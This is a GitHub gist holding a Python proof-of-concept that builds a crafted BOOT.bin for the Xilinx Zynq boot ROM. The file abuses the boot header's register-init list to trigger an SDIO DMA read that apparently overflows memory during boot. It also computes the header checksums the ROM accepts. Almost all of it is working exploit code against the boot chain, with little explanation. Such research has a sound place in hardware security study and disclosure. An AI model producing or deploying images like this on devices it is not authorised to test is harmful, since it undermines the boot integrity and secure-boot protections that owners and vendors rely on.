Skip to content

Instantly share code, notes, and snippets.

@four0four
Last active May 2, 2022 22:06
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save four0four/cbf22a3ffa46180f7aba64e5c0bb6bed to your computer and use it in GitHub Desktop.
Save four0four/cbf22a3ffa46180f7aba64e5c0bb6bed to your computer and use it in GitHub Desktop.
Zynq SDIO DMA overflow PoC
#!/bin/env python3
from struct import pack as p
from struct import unpack as up
import time
import sys
inits = [\
# speed up sdio
(0xF8000150, (18 << 8) | (0b10 << 4) | 3),
# Block_Size_Block_Count
# v v-nblocks v-buf sz v-block sz
(0xE0100004, (1 << 16) | (1 << 12) | 0x200),
# "Address" (size)
(0xE0100008, 0x200),
# Transfer_Mode_Command
# v- command v-some settings v- multple block read w/dma, etc
(0xE010000C, (16 << 24) | (0x1a << 16) | (0x13)),
# dummy writes to wait for sdio...
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
(0xE000D00C, 0),
# Block_Size_Block_Count
# v v-nblocks v-buf sz v-block sz
#(0xE0100004, (0x3e << 16) | (3 << 12) | 0x200),
(0xE0100004, (3 << 16) | (3 << 12) | 0x200),
# Address (in blocks)
#(0xE0100008, 0x1400800),
(0xE0100008, 0x19800),
# Transfer_Mode_Command
# v- command v-some settings v- multple block read w/dma, etc
(0xE010000C, (18 << 24) | (0x3a << 16) | (0x37)),
# slow down arm cores, hail mary
# (0xF8000120, (1<<28) | 1<<27 | 1<<16 | 1<< 25 | 1<<24| (0x2 << 8)),
(0xf8000120, 0x1F003e00),
]
assert len(inits) < 0x100
def chksum(data):
chk = 0
for d in data:
chk += d
return chk
def hdrchksum(data):
chk = 0
for i in range(0, len(data), 4):
chk += up("<I", data[i:i+4])[0]
chk &= 0xFFFF_FFFF
return chk
def dbgwrite(ser, data):
print(str(data))
ser.write(data)
def gen_hdr():
hdr = bytes()
# xip ivt
hdr += p("<I", 0xeafffffe)
hdr += p("<I", 0xeafffffe)
hdr += p("<I", 0xeafffffe)
hdr += p("<I", 0xeafffffe)
hdr += p("<I", 0xeafffffe)
hdr += p("<I", 0xeafffffe)
hdr += p("<I", 0xeafffffe)
hdr += p("<I", 0xeafffffe)
# ----
# width detect
hdr += p("<I", 0xaa995566)
hdr += b'XNLX'
# encryption + misc
hdr += p("<II", 0, 0x01010000)
#src offcs
hdr += p("<I", 0x6000)
# len
hdr += p("<I", 0x20000)
# load addr 0 or 0x4_0000 lol
hdr += p("<I", 0)
# entrypt
hdr += p("<I", 0)
#"total image len" doesn't matter
hdr += p("<I", 0x010014)
# QSPI something something, fix up checksum
# probably vestigial :)
hdr += p("<I", 0xfc15fc2d)
#----
# checksum
#print("hdr checksum (pre): %x"%( hdrchksum(hdr[0x20:])))
print("hdr checksum: %x"%(0xffff_ffff ^ hdrchksum(hdr[0x20:])))
hdr += p("<I", 0xffff_ffff ^ hdrchksum(hdr[0x20:]))
# unused...
for _ in range(19):
hdr += p("<I", 0)
# not sure at allll:
hdr += p("<II", 0x8c0,0x8c0)
# init lists
for i in inits:
hdr += p("<II", i[0], i[1])
for _ in range(0x100-len(inits)):
hdr += p("<II", 0xffffffff, 0)
#hdr += p("<II", 0xE000D00C, 0)
#hdr += p("<II", 0xF8000150, 0x00001E02)
#hdr += p("<II", 0xE0100030, 0xffffffff)
#hdr += p("<II", 0xffffffff, 0)
return hdr
img = gen_hdr()
size = len(img)
checksum = chksum(img)
print("checksum: "+hex(checksum))
print("len: "+str(size))
with open("BOOT.bin", "wb") as f:
f.write(img)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment